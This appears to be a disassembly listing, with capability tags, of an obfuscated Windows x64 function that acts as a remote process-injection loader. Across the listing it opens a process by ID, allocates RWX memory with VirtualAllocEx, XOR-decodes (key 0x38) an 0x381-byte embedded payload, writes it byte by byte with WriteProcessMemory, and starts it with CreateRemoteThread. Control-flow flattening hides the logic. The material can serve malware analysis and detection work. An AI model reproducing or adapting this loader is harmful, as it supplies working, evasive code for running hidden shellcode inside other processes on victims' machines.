Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x3e8
lea rbp, [rsp + 0x80]
mov qword [rbp - 0x80], rdx
mov rax, qword [0x140022008]
xor rax, rbp
cmp ecx, 2
mov ecx, 0xbd1eb939
mov r13d, 0xbc7cd82f
cmovl r13d, ecx
mov qword [rbp + 0x360], rax
mov eax, 0xc89bd004
lea r12, str.Please_provide_a_process_ID__n
mov esi, 0x3fe01b59
jmp 0x14000107d
mov eax, dword [0x140022ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3bedb5bb
mov ecx, 0x41fb854b
nop
cmove eax, ecx
cmp dword [0x140022ab4], 0xa
cmovl eax, ecx
cmp eax, 0xd35f95d
jle 0x1400010d0
cmp eax, 0x41fb854a
jle 0x140001130
cmp eax, 0x635ceeef
jle 0x1400011c3
cmp eax, 0x6ddf9a20
jle 0x1400012bb
cmp eax, 0x79da1d58
jle 0x1400014c3
cmp eax, 0x79da1d59
je 0x1400014dd
cmp eax, 0x7e970ee4
jne 0x14000107d
mov eax, 0x5d82f7ce
xor r14d, r14d
xor r15d, r15d
jmp 0x14000107d
cmp eax, 0xc89bd003
jg 0x140001180
cmp eax, 0xaebab772
jg 0x14000120d
cmp eax, 0x90ed625c
jg 0x140001312
cmp eax, 0x84837b8d
je 0x1400014eb
cmp eax, 0x8d956f4e
je 0x14000150e
cmp eax, 0x8df14503
jne 0x14000107d
mov eax, dword [0x140022ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x613fb03b
mov ecx, 0x8d956f4e
jmp 0x140001070
cmp eax, 0x339f60e4
jg 0x14000124f
cmp eax, 0x23aff9b8
jg 0x14000133d
cmp eax, 0xd35f95e
je 0x140001534
cmp eax, 0x17c59599
je 0x140001541
cmp eax, 0x1927e62e
jne 0x14000107d
cmp byte [rbp - 0x32], 0
mov eax, 0x472f0390
mov ecx, 0x6caf53ad
cmovne eax, ecx
jmp 0x14000107d
cmp eax, 0xe2d2afc4
jg 0x140001285
cmp eax, 0xd892fd39
jg 0x140001368
cmp eax, 0xc89bd004
je 0x140001585
cmp eax, 0xd34d1038
je 0x1400015a3
cmp eax, 0xd8452eab
jne 0x14000107d
mov eax, 0xd34d1038
xor edi, edi
jmp 0x14000107d
cmp eax, 0x5298e8ef
jg 0x1400013bb
cmp eax, 0x41fb854b
je 0x1400015c8
cmp eax, 0x45c0a586
je 0x1400015f6
cmp eax, 0x472f0390
jne 0x14000107d
mov eax, dword [0x140022ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x339f60e5
mov ecx, 0x45c0a586
jmp 0x140001070
cmp eax, 0xbc7cd82e
jg 0x1400013ea
cmp eax, 0xaebab773
je 0x140001628
cmp eax, 0xb4f58b3f
je 0x140001646
cmp eax, 0xb77375b7
jne 0x14000107d
cmp byte [rbp - 0x33], 0
mov eax, 0xf85fe323
mov ecx, 0x635ceef0
cmovne eax, ecx
jmp 0x14000107d
cmp eax, 0x3bedb5ba
jg 0x14000142d
cmp eax, 0x339f60e5
je 0x140001694
cmp eax, 0x355368c6
je 0x1400016b2
cmp eax, 0x3959ba2b
jne 0x14000107d
mov eax, 0x6ddf9a21
jmp 0x14000107d
cmp eax, 0xedb8d83c
jg 0x140001484
cmp eax, 0xe2d2afc5
je 0x1400016ca
cmp eax, 0xe42ae66e
je 0x1400016d4
cmp eax, 0xec0b94b5
jne 0x14000107d
mov eax, 0xaeb0950b
jmp 0x14000107d
cmp eax, 0x635ceef0
je 0x14000174c
cmp eax, 0x6be563c7
je 0x140001772
cmp eax, 0x6caf53ad
jne 0x14000107d
mov rcx, qword [rbp - 0x58]
sub rsp, 0x30
mov dword [rsp + 0x20], 0x40
mov r8d, 0x381
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
add rsp, 0x30
mov qword [rbp - 0x40], rax
mov eax, 0xdac65cad
jmp 0x14000107d
cmp eax, 0x90ed625d
je 0x14000177c
cmp eax, 0x91c50720
je 0x14000179a
cmp eax, 0xaeb0950b
jne 0x14000107d
mov eax, 0xd8452eab
jmp 0x14000107d
cmp eax, 0x23aff9b9
je 0x1400017a4
cmp eax, 0x26ec8bef
je 0x1400017ae
cmp eax, 0x2a6e26a1
jne 0x14000107d
mov eax, 0xe42ae66e
jmp 0x14000107d
cmp eax, 0xd892fd3a
je 0x1400017cc
cmp eax, 0xdac65cad
je 0x1400017d6
cmp eax, 0xe1c4f230
jne 0x14000107d
lea rax, [rbp - 0x30]
mov qword [rbp - 0x60], rax
mov rax, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x60]
sub rsp, 0x20
mov r8d, 0x381
lea rdx, section..rdata
call fcn.140002d90
add rsp, 0x20
mov eax, r13d
jmp 0x14000107d
cmp eax, 0x5298e8f0
je 0x1400017f4
cmp eax, 0x5d82f7ce
je 0x140001812
cmp eax, 0x613fb03b
jne 0x14000107d
mov rax, qword [rbp - 0x50]
mov eax, 0x8d956f4e
jmp 0x14000107d
cmp eax, 0xbc7cd82f
je 0x14000183e
cmp eax, 0xbd1eb939
je 0x140001055
cmp eax, 0xc102d7cd
jne 0x14000107d
mov rdx, qword [rbp - 0x40]
sub rsp, 0x20
lea rcx, str.____Allocated_based_address_is_0x_p_n
call fcn.140001920
add rsp, 0x20
mov eax, 0x3fe01b59
jmp 0x14000107d
cmp eax, 0x3bedb5bb
je 0x140001860
cmp eax, 0x3d6da6c6
je 0x14000187a
cmp eax, 0x3fe01b59
jne 0x14000107d
mov rdx, qword [rbp - 0x40]
sub rsp, 0x20
lea rcx, str.____Allocated_based_address_is_0x_p_n
call fcn.140001920
add rsp, 0x20
mov eax, dword [0x140022ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc102d7cd
mov ecx, 0xd892fd3a
jmp 0x140001070
cmp eax, 0xedb8d83d
je 0x1400018a1
cmp eax, 0xf0fbd41b
je 0x1400018b6
cmp eax, 0xf85fe323
jne 0x14000107d
sub rsp, 0x20
lea rcx, str.___Unable_to_allocate_memory_...__n
call fcn.140001920
add rsp, 0x20
mov eax, 0x6be563c7
jmp 0x14000107d
cmp eax, 0x6ddf9a21
jne 0x1400018dd
mov eax, 0xd34d1038
mov edi, 1
jmp 0x14000107d
mov rax, qword [rbp - 0x40]
mov eax, 0x3d6da6c6
jmp 0x14000107d
mov r8d, dword [rbp - 0x44]
sub rsp, 0x20
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
add rsp, 0x20
mov eax, 0x17c59599
jmp 0x14000107d
mov rax, qword [rbp - 0x50]
mov qword [rbp - 0x78], rax
mov eax, dword [0x140022ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x613fb03b
mov ecx, 0x2a6e26a1
jmp 0x140001070
mov eax, 0xedb8d83d
mov ebx, dword [rbp - 0x64]
jmp 0x14000107d
mov r8d, dword [rbp - 0x44]
sub rsp, 0x20
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
add rsp, 0x20
mov qword [rbp - 0x58], rax
cmp qword [rbp - 0x58], 0
setne byte [rbp - 0x32]
mov eax, dword [0x140022ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x84837b8d
mov ecx, 0x1927e62e
jmp 0x140001070
mov eax, 0x10
call fcn.140001c40
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x50], rax
mov eax, 0xe1c4f230
jmp 0x14000107d
mov dword [rbp - 0x68], edi
mov rax, qword [rbp - 0x60]
mov eax, dword [0x140022ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x23aff9b9
mov ecx, 0x26ec8bef
jmp 0x140001070
sub rsp, 0x20
mov rcx, r12
call fcn.140001920
add rsp, 0x20
mov eax, dword [0x140022ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3bedb5bb
mov ecx, 0x3959ba2b
jmp 0x140001070
sub rsp, 0x20
lea rcx, str.___Enable_to_retrieve_process_handle_..._n
call fcn.140001920
add rsp, 0x20
mov eax, dword [0x140022ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x339f60e5
mov ecx, 0xec0b94b5
jmp 0x140001070
mov eax, dword [0x140022ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe2d2afc5
mov ecx, 0xd35f95e
jmp 0x140001070
movzx eax, byte [rbp - 0x34]
mov byte [rbp - 0x31], al
mov rax, qword [rbp - 0x40]
movsxd rdx, dword [rbp - 0x38]
add rdx, rax
mov rcx, qword [rbp - 0x58]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
mov r9d, 1
lea r8, [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
add rsp, 0x30
test eax, eax
mov eax, 0xf0fbd41b
mov ecx, 0xedb8d83d
cmove eax, ecx
mov ebx, dword [rbp - 0x38]
jmp 0x14000107d
sub rsp, 0x20
lea rcx, str.___Enable_to_retrieve_process_handle_..._n
call fcn.140001920
add rsp, 0x20
mov eax, 0x45c0a586
jmp 0x14000107d
mov rax, qword [rbp - 0x70]
movzx eax, byte [rbp + rax - 0x30]
xor al, 0x38
mov byte [rbp - 0x34], al
mov eax, 0xb4f58b3f
jmp 0x14000107d
mov eax, 0xaebab773
jmp 0x14000107d
mov rax, qword [rbp - 0x78]
mov rax, qword [rbp - 0x50]
mov dword [rax], 0
sub rsp, 0x20
lea rcx, str.___Running_the_thread_..._n
call fcn.140001920
add rsp, 0x20
mov r9, qword [rbp - 0x40]
mov rax, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x58]
sub rsp, 0x40
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r8d, 0x64
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
add rsp, 0x20
lea rcx, str.___The_thread_finished__n
call fcn.140001920
add rsp, 0x20
mov rax, qword [rbp - 0x78]
mov eax, 0x91c50720
jmp 0x14000107d
mov eax, dword [0x140022ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc102d7cd
cmove eax, esi
cmp dword [0x140022ab4], 0xa
cmovl eax, esi
jmp 0x14000107d
mov eax, 0x91c50720
jmp 0x14000107d
mov eax, dword [0x140022ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x84837b8d
mov ecx, 0x17c59599
jmp 0x140001070
mov eax, 0xd8452eab
jmp 0x14000107d
mov eax, 0x26ec8bef
jmp 0x14000107d
mov eax, dword [0x140022ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x23aff9b9
mov ecx, 0x7048526f
jmp 0x140001070
mov eax, 0x7e970ee4
jmp 0x14000107d
mov eax, dword [0x140022ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x79da1d59
mov ecx, 0x3d6da6c6
jmp 0x140001070
mov eax, dword [0x140022ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe2d2afc5
mov ecx, 0xaebab773
jmp 0x140001070
mov dword [rbp - 0x48], r14d
mov dword [rbp - 0x38], r15d
movsxd rax, dword [rbp - 0x48]
mov qword [rbp - 0x70], rax
mov rax, qword [rbp - 0x70]
cmp rax, 0x382
mov eax, 0x8df14503
mov ecx, 0x355368c6
cmovb eax, ecx
jmp 0x14000107d
mov rax, qword [rbp - 0x80]
mov rcx, qword [rax + 8]
sub rsp, 0x20
call fcn.140006f1c
add rsp, 0x20
mov dword [rbp - 0x44], eax
mov eax, 0x90ed625d
jmp 0x14000107d
sub rsp, 0x20
mov rcx, r12
call fcn.140001920
add rsp, 0x20
mov eax, 0x41fb854b
jmp 0x14000107d
cmp qword [rbp - 0x40], 0
setne byte [rbp - 0x33]
mov eax, dword [0x140022ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x79da1d59
mov ecx, 0xb77375b7
jmp 0x140001070
mov r14d, dword [rbp - 0x48]
add r14d, 1
mov eax, 0x5d82f7ce
mov r15d, ebx
jmp 0x14000107d
sub rsp, 0x20
lea rcx, str.___Byte_Write_sucessfully__n
call fcn.140001920
add rsp, 0x20
mov eax, dword [rbp - 0x38]
add eax, 1
mov dword [rbp - 0x64], eax
mov eax, 0x5298e8f0
jmp 0x14000107d
cmp eax, 0x7048526f
jne 0x14000107d
mov esi, dword [rbp - 0x68]
mov rcx, qword [rbp + 0x360]
xor rcx, rbp
sub rsp, 0x20
call fcn.140001ca0
add rsp, 0x20
mov eax, esi
lea rsp, [rbp + 0x368]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret